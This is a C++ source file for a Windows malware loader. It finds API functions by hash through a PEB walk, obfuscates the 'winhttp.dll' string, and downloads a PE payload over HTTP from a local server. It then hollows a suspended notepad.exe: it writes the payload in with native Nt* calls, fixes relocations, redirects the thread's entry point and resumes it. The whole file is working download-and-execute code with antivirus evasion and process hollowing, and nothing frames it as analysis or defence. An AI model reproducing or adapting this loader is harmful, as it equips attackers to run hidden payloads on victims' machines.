main.cpp

#ifdef _DEBUG
#include <stdio.h>
#define DBG_PRINTF(...) printf(__VA_ARGS__)
#else
#define DBG_PRINTF(...) ((void)0)
#endif

#include <stdlib.h>
#include "main.h"

int main(int argc, char** argv)
{
	DBG_PRINTF("[*] Getting Base Libs\n");
	BaseLibs bl = FindBaseLibs();
	DBG_PRINTF("[*] Getting Base Funcs\n");
	BaseFuncs bf = {
		(_LoadLibraryA)FindFunctionByHash(bl.kernel32, 0x41e6844f),
		(_GetProcAddress)FindFunctionByHash(bl.kernel32, 0xf118c269)
	};

		//printf("hash of %s : %x\n", "WinHttpOpen", hash("WinHttpOpen"));
		//printf("hash of %s : %x\n", "WinHttpCloseHandle", hash("WinHttpCloseHandle"));
		//printf("hash of %s : %x\n", "WinHttpConnect", hash("WinHttpConnect"));
		//printf("hash of %s : %x\n", "WinHttpOpenRequest", hash("WinHttpOpenRequest"));
		//printf("hash of %s : %x\n", "WinHttpSendRequest", hash("WinHttpSendRequest"));
		//printf("hash of %s : %x\n", "WinHttpReceiveResponse", hash("WinHttpReceiveResponse"));
		//printf("hash of %s : %x\n", "WinHttpQueryDataAvailable", hash("WinHttpQueryDataAvailable"));
		//printf("hash of %s : %x\n", "WinHttpReadData", hash("WinHttpReadData"));
		//printf("hash of %s : %x\n", "WinHttpQueryHeaders", hash("WinHttpQueryHeaders"));
		//printf("hash of %s : %x\n", "NtAllocateVirtualMemory", hash("NtAllocateVirtualMemory"));
		//printf("hash of %s : %x\n", "NtWriteVirtualMemory", hash("NtWriteVirtualMemory"));
		//printf("hash of %s : %x\n", "NtProtectVirtualMemory", hash("NtProtectVirtualMemory"));
		//printf("hash of %s : %x\n", "NtCreateThreadEx", hash("NtCreateThreadEx"));
		//printf("hash of %s : %x\n", "NtWaitForSingleObject", hash("NtWaitForSingleObject"));
		//printf("hash of %s : %x\n", "NtResumeThread", hash("NtResumeThread"));

	ntapi_winhttp_method(bf, bl);
	return 0;
}

void ntapi_winhttp_method(BaseFuncs bf, BaseLibs bl) {
	
	const char* stack_str[3] = { "win", "http", ".dll" };
	char winhttpLib[12] = "UWATAUAVAWH";

	for (int i = 0; i < 3; i++) {
		int x = 0;
		winhttpLib[x] = *stack_str[0];
		winhttpLib[1] = *(stack_str[0] + 1);
		winhttpLib[2] = *(stack_str[0] + 2);
		x = 2;
		x = x * x * x * x * x * x;
		x = ((x ^ 5) % 7); 
		winhttpLib[3] = *(stack_str[1]);
		winhttpLib[4] = *(stack_str[1] + 1);
		winhttpLib[5] = *(stack_str[1] + 2);
		winhttpLib[x] = *(stack_str[1] + 3);
		x = x * 2 - 2;
		winhttpLib[7] = *(stack_str[2]);
		winhttpLib[8] = *(stack_str[2] + 1);
		winhttpLib[9] = *(stack_str[2] + 2);
		winhttpLib[10] = *(stack_str[2] + 3);
	}

	HINSTANCE LdllHttp = bf.LoadLibraryA(winhttpLib);
	HMODULE hNtdll = bl.ntdll;

	_WinHttpOpen WinHttpOpen = (_WinHttpOpen)FindFunctionByHash(LdllHttp, 0xcaf84b97);
	_WinHttpCloseHandle WinHttpCloseHandle = (_WinHttpCloseHandle)FindFunctionByHash(LdllHttp, 0x52c4fd17);
	_WinHttpConnect WinHttpConnect = (_WinHttpConnect)FindFunctionByHash(LdllHttp, 0xdece6ef1);
	_WinHttpOpenRequest WinHttpOpenRequest = (_WinHttpOpenRequest)FindFunctionByHash(LdllHttp, 0x994b27f2);
	_WinHttpSendRequest WinHttpSendRequest = (_WinHttpSendRequest)FindFunctionByHash(LdllHttp, 0x28001716);
	_WinHttpReceiveResponse WinHttpReceiveResponse = (_WinHttpReceiveResponse)FindFunctionByHash(LdllHttp, 0xb9a12973);
	_WinHttpQueryDataAvailable WinHttpQueryDataAvailable = (_WinHttpQueryDataAvailable)FindFunctionByHash(LdllHttp, 0x6b56d4c8);
	_WinHttpReadData WinHttpReadData = (_WinHttpReadData)FindFunctionByHash(LdllHttp, 0x79b76d8d);
	_WinHttpQueryHeaders WinHttpQueryHeaders = (_WinHttpQueryHeaders)FindFunctionByHash(LdllHttp, 0x8a315bdd);

	HINTERNET hSession = NULL,
		hConnect = NULL,
		hRequest = NULL;
	BOOL bResult = FALSE;

	hSession = WinHttpOpen(L"LovelyAgent/ 1.0",
		0, // WINHTTP_ACCESS_TYPE_DEFAULT_PROXY
		NULL, // WINHTTP_NO_PROXY_NAME
		NULL, // WINHTTP_NO_PROXY_BYPASS
		0);

	if (hSession)
		hConnect = WinHttpConnect(hSession, L"127.0.0.1",
			8000, 0);

	if (hConnect)
		hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/cutepoem",
			NULL,
			NULL, // WINHTTP_NO_REFERER,
			NULL, // WINHTTP_DEFAULT_ACCEPT_TYPES,
			0 // change to 0x00800000 WINHTTP_FLAG_SECURE when using https
		);

	if (hRequest)
		bResult = WinHttpSendRequest(hRequest,
			NULL, // WINHTTP_NO_ADDITIONAL_HEADERS,
			0,
			NULL, // WINHTTP_NO_REQUEST_DATA,  
			0, 0, 0);

	LPSTR buffer = nullptr;
	SIZE_T bufsize = 0;

	if (bResult) {
		if (WinHttpReceiveResponse(hRequest, NULL)) {
			DWORD dataSize = 0;
			DWORD downloaded = 0;

			do {
				dataSize = 0;
				if (!WinHttpQueryDataAvailable(hRequest, &dataSize)) {
					DBG_PRINTF("[-] Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
				}

				if (dataSize > 0) {
					LPSTR newBuf = (LPSTR)realloc(buffer, bufsize + dataSize);
					if (!newBuf) {
						DBG_PRINTF("[-] Failed to allocate memory for payload.\n");
						free(buffer);
						buffer = nullptr;
						bufsize = 0;
						break;
					}
					buffer = newBuf;

					if (!WinHttpReadData(hRequest, (LPVOID)(buffer + bufsize), dataSize, &downloaded)) {
						DBG_PRINTF("[-] Error %u in WinHttpReadData.\n", GetLastError());
					}
					else {
						bufsize += downloaded;
					}

				}
			} while (dataSize > 0);
		}
		else {
			DBG_PRINTF("[-] Error %u in WinHttpReceiveResponse.\n", GetLastError());
		}
	}
	#ifdef _WIN64
		DBG_PRINTF("[*] Got payload of bufsize %llu\n", bufsize);
	#else
		DBG_PRINTF("[*] Got payload of bufsize %lu\n", bufsize);
	#endif
	

	_NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)FindFunctionByHash(hNtdll, 0x895f5560);
	_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)FindFunctionByHash(hNtdll, 0xb3692b1c);
	_NtReadVirtualMemory NtReadVirtualMemory = (_NtReadVirtualMemory)FindFunctionByHash(hNtdll, 0xe7062d73);
	_NtProtectVirtualMemory NtProtectVirtualMemory = (_NtProtectVirtualMemory)FindFunctionByHash(hNtdll, 0x7c073906);
	_NtCreateThreadEx NtCreateThreadEx = (_NtCreateThreadEx)FindFunctionByHash(hNtdll, 0x9cee44c2);
	_NtGetContextThread NtGetContextThread = (_NtGetContextThread)FindFunctionByHash(hNtdll, 0x1b76ba46);
	_NtSetContextThread NtSetContextThread = (_NtSetContextThread)FindFunctionByHash(hNtdll, 0x7e42a6a2);
	_NtWaitForSingleObject NtWaitForSingleObject = (_NtWaitForSingleObject)FindFunctionByHash(hNtdll, 0x93397c72);
	_NtResumeThread NtResumeThread = (_NtResumeThread) FindFunctionByHash(hNtdll, 0x281e6ebe);

	NTSTATUS res = 0;

	PIMAGE_NT_HEADERS pCopiedNtHeader = NULL;

	// Copy the PE header from the payload
	if (res = CopyPENTHeader(buffer, &pCopiedNtHeader, NtAllocateVirtualMemory))
	{
		DBG_PRINTF("[-] Failed to copy PE Header: %x\n", res);
	}

	// Launch a suspended process

	PROCESS_INFORMATION pi = { 0 };

	LPCSTR target = "C:\\Windows\\System32\\notepad.exe";
	launchSuspendedProcess(target, &pi);
	
	// Allocate Virtual Memory on the remote process.
	
	LPVOID baseAddress = NULL;
	SIZE_T regionSize = pCopiedNtHeader->OptionalHeader.SizeOfImage;

	// Ensure the process handle and size are valid
	if (!pi.hProcess || regionSize == 0) {
		DBG_PRINTF("Invalid parameters.\n");
		exit(1);
	}

	// x86/x64 compat
	ULONG_PTR ZeroBits = 0; 

	res = NtAllocateVirtualMemory(
		pi.hProcess,
		&baseAddress,
		ZeroBits,
		&regionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE
	);

	if (!NT_SUCCESS(res)) {
		DBG_PRINTF("Error in allocating memory on target process: %x\n", res);
		exit(1);
	}

	// Compute the delta between the allocated address and the preferred image base
	ULONG_PTR deltaImageBase = (ULONG_PTR)baseAddress - pCopiedNtHeader->OptionalHeader.ImageBase;

	// Update the ImageBase in the copied NT Headers to the allocated base address in the target process
	pCopiedNtHeader->OptionalHeader.ImageBase = (ULONG_PTR)baseAddress;

	// Write the updated headers to the allocated memory in the target process
	SIZE_T writtenBytes = 0;
	res = NtWriteVirtualMemory(
		pi.hProcess,
		baseAddress,
		buffer,
		pCopiedNtHeader->OptionalHeader.SizeOfHeaders,
		(PULONG)&writtenBytes
	);

	if (!NT_SUCCESS(res)) {
		DBG_PRINTF("Failed to write headers to target process: %x\n", res);
		DBG_PRINTF("%d", GetLastError());
		exit(1);
	}

	// Write sections to the allocated memory in the target process
	PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(pCopiedNtHeader);
	for (int i = 0; i < pCopiedNtHeader->FileHeader.NumberOfSections; i++) {
		PVOID sectionDest = (PVOID)((ULONG64)baseAddress + sectionHeader->VirtualAddress);
		PVOID sectionSrc = (PVOID)((ULONG64)buffer + sectionHeader->PointerToRawData);

		res = NtWriteVirtualMemory(
			pi.hProcess,
			sectionDest,
			sectionSrc,
			sectionHeader->SizeOfRawData,
			NULL
		);

		if (!NT_SUCCESS(res)) {
			DBG_PRINTF("Failed to write section %s to target process: %x\n", sectionHeader->Name, res);
			exit(1);
		}

		if (!strcmp((char*)sectionHeader->Name, ".text")) {
			ULONG oldProtect = 0;
			ULONG protectSize = sectionHeader->SizeOfRawData;

			res = NtProtectVirtualMemory(
				pi.hProcess,
				&sectionDest,
				&protectSize,
				PAGE_EXECUTE_READ,
				&oldProtect
			);

			if (!NT_SUCCESS(res)) {
				DBG_PRINTF("Error changing permissions on .text section to RX: %x\n", res);
				exit(1);
			}
		}

		sectionHeader++;
	}

	if (!FixRelocationTable(pi.hProcess, baseAddress, pCopiedNtHeader, deltaImageBase, NtWriteVirtualMemory, NtReadVirtualMemory)) {
		DBG_PRINTF("Failed to fix the relocation table.\n");
		exit(1);
	}

	if (!ChangeEntryPointAndResume(&pi, baseAddress, pCopiedNtHeader, NtGetContextThread, NtSetContextThread, NtResumeThread)) {
		DBG_PRINTF("Failed to change the entry point and resume the remote process.\n");
		exit(1);
	}
}

template <typename CharType>
DWORD hash(const CharType* str) {
	DWORD hash = HASH_INIT;
	while (*str) {
		hash ^= (DWORD)(*str++);
		hash *= HASH_PRIME;
	}
	return hash;
}

BaseLibs FindBaseLibs() {
	BaseLibs bl = {
		NULL,
		NULL
	};

	LDR_DATA_TABLE_ENTRY* mod;
	PLIST_ENTRY pHeadEntry;
	PLIST_ENTRY pListEntry;
	PEB* peb;

	#ifdef _WIN64
		peb = (PEB*)__readgsqword(0x60);
	#else
		peb = (PEB*)__readfsdword(0x30);
	#endif

	DBG_PRINTF("deferencing ptr\n");

	pHeadEntry = &peb->LoaderData->InLoadOrderModuleList;
	pListEntry = pHeadEntry->Flink;

	for (pListEntry = pHeadEntry->Flink->Flink;
		pListEntry != pHeadEntry;
		pListEntry = pListEntry->Flink)
	{
		mod = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderModuleList);

		//printf("module %ls\n", mod->BaseDllName.Buffer);
		//printf("hash %x\n", hash(mod->BaseDllName.Buffer));
		
		if (hash(mod->BaseDllName.Buffer) == 0xada8a7e7) {
			DBG_PRINTF("[+] Found kernel32.dll\n");
			bl.kernel32 = (HMODULE)mod->BaseAddress;
		}
		
		if (hash(mod->BaseDllName.Buffer) == 0xb20ff91b) {
			DBG_PRINTF("[+] Found ntdll\n");
			bl.ntdll = (HMODULE)mod->BaseAddress;
		}
	}
	DBG_PRINTF("returning\n");

	return bl;
}

FARPROC FindFunctionByHash(HMODULE libraryBase, DWORD targetHash) {
	if (!libraryBase) {
		DBG_PRINTF("Library base is NULL\n");
		return NULL;
	}

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)libraryBase;
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		DBG_PRINTF("Invalid DOS Signature\n");
		return NULL;
	}

	PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + pDosHeader->e_lfanew);
	if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
		DBG_PRINTF("Invalid NT Signature\n");
		return NULL;
	}

	DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
	PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirRVA);

	PDWORD namesRVA = (PDWORD)((DWORD_PTR)libraryBase + pExportDir->AddressOfNames);
	PDWORD functionsRVA = (PDWORD)((DWORD_PTR)libraryBase + pExportDir->AddressOfFunctions);
	PWORD ordinalsRVA = (PWORD)((DWORD_PTR)libraryBase + pExportDir->AddressOfNameOrdinals);

	for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
		LPCSTR functionName = (LPCSTR)((DWORD_PTR)libraryBase + namesRVA[i]);

		//printf("fn %s\n", functionName);
		//printf("hash %x\n", hash(functionName));

		if (hash(functionName) == targetHash) {
			DWORD functionRVA = functionsRVA[ordinalsRVA[i]];
			FARPROC functionAddr = (FARPROC)((DWORD_PTR)libraryBase + functionRVA);
			return functionAddr;
		}
	}

	DBG_PRINTF("Function with the given hash %x not found\n", targetHash);
	return NULL;
}

BOOL launchSuspendedProcess(LPCSTR processName, LPPROCESS_INFORMATION pi)
{
	STARTUPINFOA si = { 0 };

	if (!CreateProcessA(processName, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
	{
		DBG_PRINTF("[-] ERROR: Cannot create process %s", processName);
		return FALSE;
	}
	DBG_PRINTF("[+] Launching process %s with PID: %d\r\n", processName, pi->dwProcessId);
	return TRUE;
}


NTSTATUS CopyPENTHeader(LPSTR lpPEBuffer, PIMAGE_NT_HEADERS* ppNtHeaders, _NtAllocateVirtualMemory NtAllocateVirtualMemory) {
	if (!lpPEBuffer || !ppNtHeaders) {
		return STATUS_INVALID_PARAMETER;
	}

	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpPEBuffer;
	if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		return STATUS_UNSUCCESSFUL; // Not a valid PE file
	}

	PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(lpPEBuffer + pDosHeader->e_lfanew);
	if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
		return STATUS_UNSUCCESSFUL; // Not a valid PE file
	}

	SIZE_T size = sizeof(IMAGE_NT_HEADERS);
	PVOID baseAddress = NULL;
	SIZE_T regionSize = size;
	NTSTATUS status = NtAllocateVirtualMemory(CURR_PROC, &baseAddress, 0, &regionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!NT_SUCCESS(status)) {
		return status; // Failed to allocate memory
	}

	memcpy(baseAddress, pNtHeaders, size);
	*ppNtHeaders = (PIMAGE_NT_HEADERS)baseAddress;

	return 0;
}

BOOL FixRelocationTable(HANDLE processHandle, PVOID baseAddress, PIMAGE_NT_HEADERS ntHeaders, DWORD64 deltaImageBase,
	_NtWriteVirtualMemory NtWriteVirtualMemory,
	_NtReadVirtualMemory NtReadVirtualMemory
	) {
	PIMAGE_DATA_DIRECTORY relocDir = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
	if (relocDir->Size == 0) return TRUE;

	ULONG_PTR relocAddr = (ULONG_PTR)baseAddress + relocDir->VirtualAddress;
	ULONG_PTR endOfRelocSection = relocAddr + relocDir->Size;

	while (relocAddr < endOfRelocSection) {
		IMAGE_BASE_RELOCATION relocBlock;
		NTSTATUS status = NtReadVirtualMemory(processHandle, (PVOID)relocAddr, &relocBlock, sizeof(relocBlock), NULL);
		if (!NT_SUCCESS(status)) return FALSE;

		if (relocBlock.SizeOfBlock < sizeof(IMAGE_BASE_RELOCATION))
			break;

		DWORD entries = (relocBlock.SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
		ULONG_PTR entryAddr = relocAddr + sizeof(IMAGE_BASE_RELOCATION);

		for (DWORD i = 0; i < entries; i++) {
			WORD entry;
			status = NtReadVirtualMemory(processHandle, (PVOID)(entryAddr + i * sizeof(WORD)), &entry, sizeof(entry), NULL);
			if (!NT_SUCCESS(status)) return FALSE;

			int type = entry >> 12;
			int offset = entry & 0x0FFF;
			ULONG_PTR patchAddr = (ULONG_PTR)baseAddress + relocBlock.VirtualAddress + offset;

		#ifdef _WIN64
			if (type == IMAGE_REL_BASED_DIR64) {
				DWORD64 originalValue;
				status = NtReadVirtualMemory(processHandle, (PVOID)patchAddr, &originalValue, sizeof(originalValue), NULL);
				if (!NT_SUCCESS(status)) return FALSE;

				DWORD64 newValue = originalValue + deltaImageBase;
				status = NtWriteVirtualMemory(processHandle, (PVOID)patchAddr, &newValue, sizeof(newValue), NULL);
				if (!NT_SUCCESS(status)) return FALSE;
			}
		#else
			if (type == IMAGE_REL_BASED_HIGHLOW) {
				DWORD originalValue;
				status = NtReadVirtualMemory(processHandle, (PVOID)patchAddr, &originalValue, sizeof(originalValue), NULL);
				if (!NT_SUCCESS(status)) return FALSE;

				DWORD newValue = originalValue + (DWORD)deltaImageBase;
				status = NtWriteVirtualMemory(processHandle, (PVOID)patchAddr, &newValue, sizeof(newValue), NULL);
				if (!NT_SUCCESS(status)) return FALSE;
			}
		#endif
		}
		relocAddr += relocBlock.SizeOfBlock;
	}

	return TRUE;
}
BOOL ChangeEntryPointAndResume(PROCESS_INFORMATION* pi, PVOID baseAddress, PIMAGE_NT_HEADERS pCopiedNtHeader, _NtGetContextThread NtGetContextThread, 
	_NtSetContextThread NtSetContextThread, _NtResumeThread NtResumeThread) {
	// Define the context structure
	CONTEXT context = { 0 };
	context.ContextFlags = CONTEXT_FULL;

	NTSTATUS status = NtGetContextThread(pi->hThread, &context);
	if (!NT_SUCCESS(status)) {
		DBG_PRINTF("[-] An error occurred when trying to get the thread context.\n");
		return FALSE;
	}

	#ifdef _WIN64
		context.Rip = (ULONG_PTR)baseAddress + pCopiedNtHeader->OptionalHeader.AddressOfEntryPoint;
	#else
		context.Eip = (ULONG_PTR)baseAddress + pCopiedNtHeader->OptionalHeader.AddressOfEntryPoint;
	#endif

	// Set the modified thread context
	status = NtSetContextThread(pi->hThread, &context);
	if (!NT_SUCCESS(status)) {
		DBG_PRINTF("[-] An error occurred when trying to set the thread context.\n");
		return FALSE;
	}

	// Resume the thread
	ULONG suspendCount;
	status = NtResumeThread(pi->hThread, &suspendCount);
	if (!NT_SUCCESS(status)) {
		DBG_PRINTF("[-] An error occurred when trying to resume the thread.\n");
		return FALSE;
	}

	return TRUE;
}